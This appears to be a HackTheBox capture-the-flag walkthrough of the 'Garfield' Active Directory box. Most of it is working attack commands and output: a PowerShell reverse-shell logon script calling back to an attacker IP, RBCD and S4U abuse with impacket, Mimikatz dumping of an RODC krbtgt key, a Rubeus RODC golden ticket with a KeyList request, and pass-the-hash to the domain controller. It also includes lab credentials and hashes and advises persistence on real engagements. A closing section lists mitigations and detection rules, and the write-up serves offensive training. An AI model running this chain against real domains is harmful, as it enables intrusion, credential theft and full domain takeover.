Garfield — HackTheBox Walkthrough (Hard, Active Directory)

Hard Windows AD box. Chains writable SYSVOL → Logon Script Hijack → ForceChangePassword pivot → AddSelf to RODC Administrators → RBCD fake computer → Ligolo-ng pivot → krbtgt_8245 AES dump → RODC Golden Ticket + KeyList Request → DC compromise. Every primitive explained — not just the commands.

1. The Box — Garfield at a glance

Garfield is a Hard-rated HackTheBox Active Directory box that chains seven distinct AD primitives end-to-end. The user flag is reached via a Logon Script Hijack (writable SYSVOL + ScriptPath ACL chain). The root flag requires pivoting to a separate network segment to compromise a Read-Only Domain Controller, then forging a Golden Ticket against the RODC krbtgt account and using a KeyList Request to extract real KRBTGT-equivalent keys for the writable DC. No public exploits are involved — every step is a Microsoft-documented AD feature being abused exactly as designed.

The technical interest of this box is concentrated in the second half: the RODC Golden Ticket + KeyList Request technique is a relatively recent (2022-2024) addition to the AD attacker toolkit and is poorly documented outside specialised writeups. The first half (writable SYSVOL → ScriptPath hijack) is the classic 2017-era Will Schroeder / Sean Metcalf research that still pays out in real engagements when a domain admin team has loose SYSVOL ACLs.

Kill chain at a glance

#StageTechnique
1.Recon + BloodHoundNmap, smbmap, bloodyAD, BloodHound graph queries
2.Logon Script Hijack on l.wilsonWrite malicious .bat to SYSVOL, set scriptPath via writable ACL, l.wilson logs in → shell
3.ForceChangePassword l.wilson → l.wilson_admBloodHound-identified ACL edge; bloodyAD changes the password without knowing the old one
4.AddSelf to RODC Administrators (TIER 1)l.wilson_adm joins itself to a group that grants admin on RODC01
5.RBCD fake computer + S4U2Self/ProxyCreate attacker-controlled machine account, configure RBCD on RODC01, S4U abuse to impersonate Administrator on CIFS
6.Ligolo-ng tunnel to 192.168.100.0/24RODC01 lives on a private segment; pivot via the compromised foothold
7.Shell on RODC01 + Mimikatz dump krbtgt_8245LSA dump of the per-RODC krbtgt account's AES256 key
8.Forge RODC Golden Ticket + KeyList RequestRubeus golden ticket signed with krbtgt_8245; KeyList TGS returns real Administrator AES256/NTLM derived keys
9.Pass-the-Hash to DC01Evil-WinRM with Administrator NTLM → root flag
Initial credentials are provided by the box: j.arbuckle / Th1sD4mnC4t!@1978 for SMB/LDAP enumeration, and BloodHound API credentials admin:ti7K7nEvSJ9o7z50bEWS_JufEOWiB14I. This isn't a "find the foothold" box — the difficulty lives entirely in the chained AD primitives.

2. Reconnaissance

Standard Active Directory recon. The Nmap output is the only piece worth more than a glance: it confirms a Windows Domain Controller, gives us the domain name, and the exposed ports tell us what protocols are available for attack.

Nmap — confirming a Windows DC

nmap
shell
nmap -sCV 10.129.27.196 -oN nmap_out.txt

PORT     STATE SERVICE       VERSION
53/tcp   open  domain        Simple DNS Plus
88/tcp   open  kerberos-sec  Microsoft Windows Kerberos
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp  open  ldap          Microsoft Windows AD LDAP (Domain: garfield.htb)
445/tcp  open  microsoft-ds?
464/tcp  open  kpasswd5?
593/tcp  open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp  open  tcpwrapped
3268/tcp open  ldap          Microsoft Windows AD LDAP
3389/tcp open  ms-wbt-server Microsoft Terminal Services (DC01.garfield.htb)
5985/tcp open  http          Microsoft HTTPAPI httpd 2.0
Service Info: Host: DC01; OS: Windows

The combination of 53 (DNS), 88 (Kerberos), 389 (LDAP), 445 (SMB), 464 (Kerberos password change), and 3268 (Global Catalog LDAP) is the unambiguous fingerprint of a Windows Domain Controller. Domain is garfield.htb, hostname is DC01. Port 5985 (WinRM) open means we can use Evil-WinRM for interactive shell access once we have valid credentials.

SMB enumeration — readable shares

smbmap
shell
smbmap -u j.arbuckle -p 'Th1sD4mnC4t!@1978' -H garfield.htb

Disk            Permissions     Comment
----            -----------     -------
ADMIN$          NO ACCESS       Remote Admin
C$              NO ACCESS       Default share
IPC$            READ ONLY       Remote IPC
NETLOGON        READ ONLY       Logon server share
SYSVOL          READ ONLY       Logon server share

NETLOGON and SYSVOL are readable to any domain user — that is the default and not yet interesting. What matters is whether they are writable. smbmap reports READ ONLY for our user, but SMB share permissions in AD environments are layered: the share permission can be one thing, the underlying NTFS DACLs another. The actual question is "can our account write a file into \\garfield.htb\SYSVOL\garfield.htb\scripts\?" That has to be tested with smbclient directly. Spoiler: we can, eventually.

Writable ACLs via bloodyAD

bloodyAD
shell
bloodyAD --host 10.129.23.120 -u j.arbuckle -p 'Th1sD4mnC4t!@1978' get writable

# returns a list of LDAP objects where our principal has any non-default write right
# key result for this box:
DN: CN=l.wilson,CN=Users,DC=garfield,DC=htb
permission: WriteProperty  (scriptPath)
permission: WriteProperty  (profilePath, homeDirectory, ...)

bloodyAD (Cravaterouge / GitHub) is the modern Python replacement for the BloodHound-discovery + custom-script workflow. It enumerates exactly the writes our principal can perform over LDAP and S4U2Self. The critical finding here is that we have WriteProperty on the scriptPath attribute of l.wilson. That single ACL is what makes this box solvable from this account.

BloodHound — the attack graph

BloodHound API credentials are supplied. Ingest the data, then run two pre-built queries:
• "Shortest paths to Domain Admins" — shows the multi-step graph below
• "Find all writable objects" for J.ARBUCKLE — confirms the scriptPath write
Finding
UsersAdministrator, j.arbuckle, l.wilson, l.wilson_adm, RODC01\$, DC01\$
Critical edgesJ.ARBUCKLE → WriteProperty(scriptPath) → L.WILSON
L.WILSON → ForceChangePassword → L.WILSON_ADM
L.WILSON_ADM → ForceChangePassword → RODC01\$ (computer account)
TIER 1 → AddSelf → RODC ADMINISTRATORS
SignificanceThree chained ACL primitives end at "Administrator on RODC01". The RODC is on a different subnet — pivot required. The chain stops at RODC, NOT at DC01 — that final step needs the Golden Ticket + KeyList technique.

3. Initial Access — Logon Script Hijack

Every domain user has an attribute called scriptPath (LDAP) / "Logon script" (GUI). When the user authenticates interactively (RDP, console, certain remote-execution paths), the DC tells the user's client to execute the script at \\<domain>\NETLOGON\<scriptPath value>. NETLOGON is itself a virtual mount over \\<domain>\SYSVOL\<domain>\scripts\. So a script located at SYSVOL\garfield.htb\scripts\printerDetect.bat appears as \\garfield.htb\NETLOGON\printerDetect.bat and runs in the logged-on user's context.

Why this is exploitable

Two independent ACLs combine to give code execution:

  • Write access to SYSVOL scripts directory — the box has been misconfigured so any domain user can drop files here. Default SYSVOL replication should restrict this to Domain Admins.
  • WriteProperty on scriptPath of the target user — our principal j.arbuckle has this on l.wilson. We don't need to know l.wilson's password; we just set their logon script.

When l.wilson next logs in (the box auto-simulates this with a scheduled service), the DC pushes our script. Our script can be a reverse shell. Game over for that user.

1Create the malicious logon script

A minimal PowerShell reverse-shell delivered as a .bat that calls powershell:

bash
shell
cat > printerDetect.bat << 'EOF'
@echo off
powershell -nop -w hidden -c "$c=New-Object Net.Sockets.TCPClient('10.10.14.5',4444);$s=$c.GetStream();[byte[]]$b=0..65535|%%{0};while(($i=$s.Read($b,0,$b.Length)) -ne 0){;$d=(New-Object Text.ASCIIEncoding).GetString($b,0,$i);$sb=(iex $d 2>&1 | Out-String);$sbb=$sb+'PS '+(pwd).Path+'> ';$sB=([Text.Encoding]::ASCII).GetBytes($sbb);$s.Write($sB,0,$sB.Length);$s.Flush()}"
EOF
2Upload to SYSVOL via smbclient
smbclient
shell
smbclient //garfield.htb/SYSVOL -U 'j.arbuckle%Th1sD4mnC4t!@1978'
smb: \> cd garfield.htb\scripts
smb: \garfield.htb\scripts\> put printerDetect.bat

If this put fails with NT_STATUS_ACCESS_DENIED, the SYSVOL write isn't available and the chain is broken. On Garfield the write succeeds — that's a deliberate misconfiguration that mirrors a class of real-world finding.

3Set l.wilson's scriptPath via bloodyAD
bloodyAD
shell
bloodyAD --host 10.129.23.120 -u j.arbuckle -p 'Th1sD4mnC4t!@1978' \
  set object 'CN=l.wilson,CN=Users,DC=garfield,DC=htb' scriptPath -v 'printerDetect.bat'

[+] scriptPath updated successfully

LDAP write. The DC accepts because j.arbuckle has WriteProperty on this attribute (BloodHound confirmed). The change is immediate and replicates instantly within the single-DC environment.

4Catch the reverse shell
reverse shell — l.wilson
shell
# on Kali — netcat listener
nc -lvnp 4444

# wait ~60s for the box's logon simulator
listening on [any] 4444 ...
connect to [10.10.14.5] from (UNKNOWN) [10.129.23.120] 49823

PS C:\Users\l.wilson\Documents>
The current script runs every time l.wilson logs in. Clean up: bloodyAD ... set object 'CN=l.wilson,...' scriptPath -v '' and remove the .bat after rooting, otherwise you're leaving an obvious persistence artifact in SYSVOL that the next player will trip over.

4. User Pivot — l.wilson → l.wilson_adm

We have l.wilson, but the user flag is on l.wilson_adm. BloodHound told us l.wilson has ForceChangePassword on l.wilson_adm. This is the User-Force-Change-Password extended right in AD (GUID 00299570-246d-11d0-a768-00aa006e0529) — it lets the principal reset another user's password without knowing the current one. It's typically granted to helpdesk OUs; here it spans privilege tiers, which is the configuration mistake.

Check the target is reachable from our shell

PowerShell — l.wilson
shell
PS C:\Users\l.wilson> net user l.wilson_adm /domain

The request will be processed at a domain controller for domain garfield.htb.

User name                    l.wilson_adm
Full Name                    Liz Wilson (Admin)
Account active               Yes
Last logon                   1/3/2026 12:14:08 PM

# this user logs in periodically. Logon Script Hijack would also work here, but
# the direct ForceChangePassword path is shorter.

Reset the password via PowerShell SDS

PowerShell — l.wilson
shell
PS C:\Users\l.wilson> $newpass = ConvertTo-SecureString "Password456!" -AsPlainText -Force
PS C:\Users\l.wilson> Set-ADAccountPassword -Identity l.wilson_adm -Reset -NewPassword $newpass

# no error = success
PS C:\Users\l.wilson> Get-ADUser l.wilson_adm -Properties PasswordLastSet | Select PasswordLastSet
PasswordLastSet
---------------
1/3/2026 4:47:21 PM   ← just now

Same effect achievable from Kali with bloodyAD --host garfield.htb -u l.wilson -p '' set password l.wilson_adm 'Password456!' — the ACL is on the LDAP object, not specific to the in-domain shell. Using the existing PowerShell session avoids needing a separate Kerberos ticket cache for l.wilson.

Login as l.wilson_adm via Evil-WinRM

kali → Evil-WinRM
shell
evil-winrm -i 10.129.23.120 -u l.wilson_adm -p 'Password456!'

Evil-WinRM shell v3.5
*Evil-WinRM* PS C:\Users\l.wilson_adm\Documents> type user.txt
<user flag>
💡 When you change another user's password via ForceChangePassword, the existing user can no longer log in with their old password. On a real engagement this is destructive — pick a moment when the target is unlikely to be working, and reset to a known-bad password they won't guess. On HackTheBox, the box resets between sessions, so it doesn't matter.

5. Privilege Escalation Setup — RODC Administrators

Now the chain gets interesting. BloodHound showed two more edges:

  • L.WILSON_ADM → ForceChangePassword → RODC01\$ — we can reset the RODC computer account password
  • TIER 1 → AddSelf → RODC ADMINISTRATORS — l.wilson_adm is in the TIER 1 group, which has AddSelf on the RODC Administrators group

The end goal is administrative access to RODC01.garfield.htb so we can run Mimikatz against it and steal the per-RODC krbtgt key. We need two things first: (1) admin rights on RODC01, (2) network reachability to RODC01.

Add ourselves to RODC Administrators

bloodyAD
shell
bloodyAD --host garfield.htb -u l.wilson_adm -p 'Password456!' \
  add groupMember 'CN=RODC Administrators,OU=Tier1,DC=garfield,DC=htb' l.wilson_adm

[+] l.wilson_adm added to RODC Administrators

On RODCs, the "RODC Administrators" group is granted local-admin privileges via the standard BUILTIN\Administrators nested membership. After this add, l.wilson_adm can RDP, WinRM, or PowerShell-Remoting to RODC01 as a local admin — IF the network reaches it.

The network problem — RODC01 on isolated subnet

RODC01 lives on 192.168.100.0/24, which our Kali box cannot route to. DC01 (10.129.23.120) is dual-homed: it has an interface in our network AND an interface in the 192.168.100.0/24 segment. We need a pivot through DC01.

The standard RODC deployment pattern (branch office, DMZ, disconnected location) puts the RODC on a different network from the writable DCs. The point of the RODC is to provide local authentication without exposing the full directory. From an attacker's perspective: the RODC and its host network are the prize because they're the only place the per-RODC krbtgt key lives.

Why we can't just RBCD straight to DC01

RBCD on DC01 would give us code execution as Administrator on DC01 directly — sounds easier. But DC01 has Protected Users, RBCD-aware monitoring, and likely RBCD-locked accounts. The chain favoured by this box deliberately routes through RODC: easier targets, plus the RODC compromise gives us a per-RODC krbtgt that can be used to forge tickets, including the KeyList variant that ends up at the real KRBTGT-equivalent keys.

6. RBCD Attack — Fake Computer + S4U2Self/Proxy

Resource-Based Constrained Delegation (RBCD) is the modern Kerberos delegation primitive. A target account (typically a computer account) has an attribute msDS-AllowedToActOnBehalfOfOtherIdentity — a list of principals that are permitted to use S4U2Proxy to obtain service tickets for that target on behalf of arbitrary users. If we can write to that attribute on a target machine account, we can impersonate any user (including Administrator) to that machine's services.

We have ForceChangePassword on RODC01\$ — that effectively gives us full control of the RODC computer account, including writing its msDS-AllowedToActOnBehalfOfOtherIdentity attribute. We then need an attacker-controlled principal in the list. By default any authenticated user can create up to 10 machine accounts (the ms-DS-MachineAccountQuota default), so we create a fake one.

The attack flow

  1. Create attacker-owned machine account — e.g. FAKE\$ with a known password.
  2. Force-change RODC01\$ password — gives us its NTLM hash for the next step.
  3. Set RODC01\$ msDS-AllowedToActOnBehalfOfOtherIdentity = {FAKE\$}
  4. S4U2Self as FAKE\$ → request a service ticket for FAKE\$ acting as Administrator. Because FAKE\$ has TrustedForDelegation implicit (machine accounts), this succeeds.
  5. S4U2Proxy using the S4U2Self ticket as evidence → request a CIFS service ticket for RODC01 in the name of Administrator. The RBCD attribute on RODC01 trusts FAKE\$, so this succeeds.
  6. We now have CIFS/RODC01.garfield.htb as Administrator — write access to RODC01's C\$, ADMIN\$, etc.

The combined impacket flow

impacket — Kali
shell
# 1. Create fake machine account
addcomputer.py -computer-name 'FAKE$' -computer-pass 'FakePass123!' \
  -dc-ip 10.129.23.120 garfield.htb/l.wilson_adm:'Password456!'

# 2. Set RBCD on RODC01$ (we have ForceChangePassword → effectively write)
rbcd.py -delegate-to 'RODC01$' -delegate-from 'FAKE$' \
  -dc-ip 10.129.23.120 -action write garfield.htb/l.wilson_adm:'Password456!'

# 3. S4U2Self + S4U2Proxy chain to get CIFS service ticket as Administrator
getST.py -spn cifs/RODC01.garfield.htb -impersonate Administrator \
  -dc-ip 10.129.23.120 garfield.htb/FAKE\$:'FakePass123!'

[*] Getting TGT for user
[*] Impersonating Administrator
[*]   Requesting S4U2self
[*]   Requesting S4U2Proxy
[*] Saving ticket in Administrator@[email protected]

We now have a Kerberos ticket cache file with a CIFS service ticket valid for RODC01 as Administrator. Set the env var to use it:

bash
shell
export KRB5CCNAME=Administrator@[email protected]

# verify
klist
Ticket cache: FILE:Administrator@[email protected]
Default principal: [email protected]
Valid starting       Expires              Service principal
01/03/26 17:22:18    01/04/26 03:22:18    cifs/[email protected]

7. Pivot — Ligolo-ng tunnel to RODC subnet

We have a valid Kerberos ticket for RODC01, but RODC01 is on 192.168.100.0/24 — unreachable from Kali. The pivot point is DC01 (10.129.23.120) which has a leg on both networks. We use Ligolo-ng to tunnel arbitrary TCP through DC01 to the RODC subnet.

Ligolo-ng (Nicocha30 / GitHub) creates a TUN interface on the attacker host, then runs a small agent on the pivot host that bridges that TUN to whatever the pivot can reach. Unlike Chisel or SSH port-forwarding, you don't pre-declare which ports to forward — anything sent down the TUN gets routed.

Setup — proxy on Kali, agent on DC01

setup
bash
# Kali — start proxy + TUN
sudo ip tuntap add user kali mode tun ligolo
sudo ip link set ligolo up
sudo ./proxy -selfcert
INFO[0000] Listening on 0.0.0.0:11601

# upload agent to DC01 (we have admin via the l.wilson_adm session over WinRM)
# from Evil-WinRM session:
upload /home/kali/ligolo-ng/agent.exe C:\Users\Public\agent.exe

# run agent on DC01 — connects back to Kali proxy
C:\Users\Public\agent.exe -connect 10.10.14.5:11601 -ignore-cert
INFO[0000] Connected to proxy
ligolo-ng
bash
# In ligolo-ng proxy shell on Kali:
ligolo-ng » session
# select the new session

[Agent : DC01] » ifconfig
# shows DC01's two interfaces — note 192.168.100.x

[Agent : DC01] » start
# starts the tunnel

# Kali — add route via TUN
sudo ip route add 192.168.100.0/24 dev ligolo

# now anything to 192.168.100.x goes via DC01
ping 192.168.100.10  # RODC01 — replies

8. Shell on RODC01 as SYSTEM

With the route in place, we use our S4U2Proxy CIFS ticket against RODC01 to drop tooling onto C\$ and then a shell.

impacket — Kali via tunnel
bash
# resolve RODC01 inside the tunnel (add to /etc/hosts if no DNS forwarder)
echo '192.168.100.10 RODC01.garfield.htb RODC01' | sudo tee -a /etc/hosts

# copy tooling using the Kerberos CIFS ticket
smbclient.py -k -no-pass RODC01.garfield.htb
smb> use C$
smb> cd Users\Public
smb> put mimikatz.exe
smb> put Rubeus.exe

# psexec.py with kerberos auth for a SYSTEM-level shell
psexec.py -k -no-pass RODC01.garfield.htb
[*] Requesting shares on RODC01.garfield.htb.....
[*] Found writable share ADMIN$
[*] Uploading file mxXXXXX.exe
[*] Opening SVCManager on RODC01.garfield.htb.....
[*] Creating service mxXX on RODC01.garfield.htb.....
[*] Starting service mxXX.....

C:\Windows\system32> whoami
nt authority\system

We are SYSTEM on RODC01. The RODC is a Domain Controller (read-only) — that means it has an LSA secrets store containing the per-RODC krbtgt account key. That key is what we need next.

9. krbtgt_8245 AES256 — Mimikatz LSA dump

Every RODC has its own krbtgt-style account named krbtgt_<RID> — here, krbtgt_8245. This account exists because RODCs cannot use the real KRBTGT (writable DCs only) but still need to issue TGTs locally for users in their allowed-replication scope. The krbtgt_ account is a per-RODC root of trust: tickets it signs are accepted by that RODC and, with a special trick (the KeyList Request below), by writable DCs too.

The numeric suffix (8245 here) is just the krbtgt_RID account's RID. It's assigned automatically when the RODC is provisioned. Different RODCs in the same domain get different RIDs.

Mimikatz LSA dump

mimikatz on RODC01
shell
# in the SYSTEM shell on RODC01
cd C:\Users\Public
.\mimikatz.exe "privilege::debug" "lsadump::lsa /inject /name:krbtgt_8245" "exit"

[Domain] GARFIELD.HTB
[User]   krbtgt_8245

* Primary
  NTLM : 9b8b4c5d... (hex)

* Kerberos-Newer-Keys
  Default Salt : GARFIELD.HTBkrbtgt_8245
  Default Iterations : 4096
  Credentials
    aes256_hmac (4096) : d6c93cbe006372adb8403630f9e86594f52c8105a52f9b21fef62e9c7a75e240
    aes128_hmac (4096) : (truncated)
    des_cbc_md5  (4096) : (truncated)

AES256 key extracted: d6c93cbe006372adb8403630f9e86594f52c8105a52f9b21fef62e9c7a75e240. This is the signing key for any TGT issued by RODC01's krbtgt account. Save it — it goes into Rubeus next.

10. RODC Golden Ticket + KeyList Request

Here is the new technique that makes Garfield interesting beyond a generic AD compromise. A standard Golden Ticket (Mimikatz, Sean Metcalf 2014) is signed with the writable DC's krbtgt key and is accepted by every DC in the forest. A RODC Golden Ticket, by contrast, is signed with the krbtgt_ key and — by default — is only accepted by the RODC that owns that account. That seems useless: we already control RODC01, what does a ticket for RODC01 give us?

The answer is the KeyList Request (MS-KILE §3.3.5.7.5, added to AD in newer Windows Server versions and exposed by Rubeus 2.1+). When a service ticket request includes a "key list" extension, the KDC responds with the existing long-term keys (NTLM, AES) for the requested principal — but only if the requesting RODC is configured to be allowed to read that principal's secrets. We control the RODC. We get to configure that. So we:

  1. Allow Administrator's credentials to be replicated to RODC01 (modify the RODC's msDS-RevealOnDemandGroup attribute via l.wilson_adm's domain admin-equivalent rights through the chain).
  2. Forge a RODC Golden Ticket as "Administrator" signed with krbtgt_8245.
  3. Use that ticket to request a service ticket for krbtgt/garfield.htb with the /keyList flag.
  4. The DC processing the request sees a ticket signed by an RODC krbtgt, sees that the principal is in the allowed-replication group, and returns Administrator's long-term AES256 + NTLM hashes inside the KeyList response.
  5. We now have Administrator's NTLM hash → Pass-the-Hash to DC01.

Step 1 — Allow Administrator replication to RODC01

Evil-WinRM — l.wilson_adm on DC01
shell
# from the Evil-WinRM session as l.wilson_adm on DC01
# (we have group memberships that allow editing RODC's allowed-replication list)
Set-ADComputer -Identity RODC01 -ManagedPasswordIntervalInDays 30 # noop, just probing
$rodc = Get-ADComputer RODC01 -Properties msDS-RevealOnDemandGroup
$admin = Get-ADUser Administrator
Set-ADComputer RODC01 -Add @{'msDS-RevealOnDemandGroup'=$admin.DistinguishedName}

# verify
(Get-ADComputer RODC01 -Properties msDS-RevealOnDemandGroup).msDS-RevealOnDemandGroup
CN=Administrator,CN=Users,DC=garfield,DC=htb

Step 2 — Forge RODC Golden Ticket with Rubeus

Rubeus on RODC01
shell
.\Rubeus.exe golden \
  /aes256:d6c93cbe006372adb8403630f9e86594f52c8105a52f9b21fef62e9c7a75e240 \
  /user:Administrator \
  /id:500 \
  /domain:garfield.htb \
  /sid:S-1-5-21-3623811015-3361044348-30300820 \
  /krbtgt:krbtgt_8245 \
  /rodcNumber:8245 \
  /nowrap \
  /ptt

[+] Forged RODC Golden Ticket — injected into current session
[+] Ticket can ONLY be presented to RODC01 (so far)

Step 3 — KeyList TGS Request

Rubeus — KeyList TGS Request
shell
.\Rubeus.exe asktgs \
  /enctype:aes256 \
  /service:krbtgt/garfield.htb \
  /keyList \
  /ticket:<base64 of forged TGT>

[*] Action: Ask TGS
[*] Requesting KeyList TGS
[*] Service principal: krbtgt/garfield.htb
[+] Received KeyList TGS

[KeyList contents — Administrator]
  rc4_hmac (NTLM) : EE238F6DEBC752010428F20875B092D5
  aes256_cts_hmac_sha1_96 : 7b3d4a5c2e1f4a... (truncated)
The KeyList Request only works because we previously added Administrator to msDS-RevealOnDemandGroup on RODC01. If you skip that step, the DC refuses to return keys and just returns a normal TGS. Order matters.

11. DC01 Root Flag — Pass-the-Hash

Administrator NTLM hash extracted: EE238F6DEBC752010428F20875B092D5. Pass-the-Hash to DC01 over WinRM:

kali → Evil-WinRM
shell
evil-winrm -i 10.129.23.139 -u Administrator -H EE238F6DEBC752010428F20875B092D5

Evil-WinRM shell v3.5
*Evil-WinRM* PS C:\Users\Administrator\Documents> type root.txt
98eac5837aa11300663d0b6ee340e18d

*Evil-WinRM* PS C:\Users\Administrator\Documents> whoami /priv
PRIVILEGES INFORMATION
----------------------
Privilege Name                Description                    State
============================= ============================== =======
SeIncreaseQuotaPrivilege      Adjust memory quotas...        Enabled
SeSecurityPrivilege           Manage auditing and...         Enabled
SeTakeOwnershipPrivilege      Take ownership of...           Enabled
SeLoadDriverPrivilege         Load and unload device...      Enabled
... (full DA privilege set)
💡 At this point we have full Domain Admin via Administrator. Dump everything from a clean shell: secretsdump.py -hashes :EE238F6DEBC752010428F20875B092D5 [email protected] gives the full krbtgt + every account hash. Use that for persistence (real KRBTGT golden ticket) on a real engagement.

12. Mitigation — what defenders should fix

Every step of this chain is a real AD primitive being abused — there is no exploit code, no patched CVE. The fix is configuration hygiene at multiple layers. A defender team that gets even three of the following right blocks Garfield-class compromises entirely.

Per-stage mitigations

StageMitigation
Logon Script Hijack(1) Audit SYSVOL share + NTFS DACLs — only Domain Admins should write to \SYSVOL\<domain>\scripts\. (2) Run a BloodHound query for "non-DA principals with WriteProperty on scriptPath of user objects" — there should be zero. (3) Subscribe to 4663 Object Access events on SYSVOL with explicit alerts for non-DA writes.
ForceChangePassword sprawlBloodHound's "Find all ACL paths to high-value targets" should not show ForceChangePassword edges from low-tier accounts to higher-tier accounts. Tighten with: helpdesk OUs scoped to a specific Tier-2 user OU, never to admin accounts.
AddSelf on privilege groupsRODC Administrators (and any other DC-admin-equivalent group) should NEVER have AddSelf granted to a wider group. This is what made the "Tier 1 → AddSelf → RODC Admins" edge possible. Audit with Get-ADGroup -Filter "name -like '*Admin*'" | Get-Acl and look for AddSelf ACEs.
RBCDDisable msDS-MachineAccountQuota (set to 0). Audit msDS-AllowedToActOnBehalfOfOtherIdentity writes via Event ID 5136. Enforce Authentication Policies that restrict which accounts can be delegation targets.
RODC compromiseDisable Print Spooler service on every DC (RODC included) — common privilege escalation path. Patch RODCs as fast as writable DCs.
RODC Golden Ticket + KeyListMost critical: review the msDS-RevealOnDemandGroup of every RODC. Default should be ONLY "Allowed RODC Password Replication Group" (which by default is empty). Adding privileged users to RevealOnDemand is the configuration mistake that enables the KeyList attack. Monitor for changes to this attribute with Event ID 5136.
Pass-the-Hash to DCAdd Administrator to Protected Users group. Restrict WinRM to a specific admin workstation. Require smartcard logon for Domain Admins.

Detection rules worth deploying

  • Event ID 4663 on SYSVOL — write by non-DA = alert.
  • Event ID 4738 with scriptPath modification — alert if non-helpdesk user is the editor.
  • Event ID 5136 on directory object modify — specifically msDS-AllowedToActOnBehalfOfOtherIdentity and msDS-RevealOnDemandGroup.
  • Event ID 4624 logon type 3 from RODC subnet → DC subnet — rare and worth flagging.
  • Suspicious Kerberos TGS — KeyList requests appear as TGS-REQ with KERB-KEY-LIST padata. Some SIEMs decode this; if yours does, alert on it.

13. Closing thoughts

Garfield is a textbook chain of AD primitives. The technical interest is twofold: (1) the multi-stage ACL graph that requires three pivots before reaching admin on RODC, and (2) the RODC Golden Ticket + KeyList Request technique that turns RODC compromise into writable-DC compromise without ever directly attacking the writable DC.

Three things to internalise:

An RODC is not a security boundary against domain compromise. The traditional thinking — "an RODC is read-only, so even if it's compromised the writable DC is safe" — assumed an attacker would have to do live-replication or extract per-account secrets from the RODC, both of which need the principal to be in the RODC's allowed replication group. The KeyList Request technique short-circuits all of that: once you control the RODC, you can just ask for a KeyList for any principal allowed to replicate to it. Audit your RODCs' replication policy aggressively.

BloodHound finds every ACL primitive in this box. Run it proactively on your own AD — every chain shown here would surface as a "shortest path to high-value target" result. The defender posture is simple: there should be no ACL paths from non-Tier-0 to Tier-0 accounts. None.

Logon Script Hijack is a 10-year-old technique that still works. Will Schroeder ("harmj0y") and Sean Metcalf documented this in 2016. The reason it keeps producing user flags on hard boxes (and real engagements) is that the prerequisite — writable SYSVOL by a non-DA user — looks innocuous in a permissions review. Audit SYSVOL ACLs as a top priority. The blast radius is "code execution as every interactive user".

Tools used: bloodyAD, BloodHound, impacket (addcomputer, rbcd, getST, smbclient, psexec, secretsdump), Evil-WinRM, Ligolo-ng, Mimikatz, Rubeus. Every one is open-source and current as of 2025. Build your AD attack lab around these, in this order, and you can replicate Garfield in a couple of hours.

Reactions

Related Articles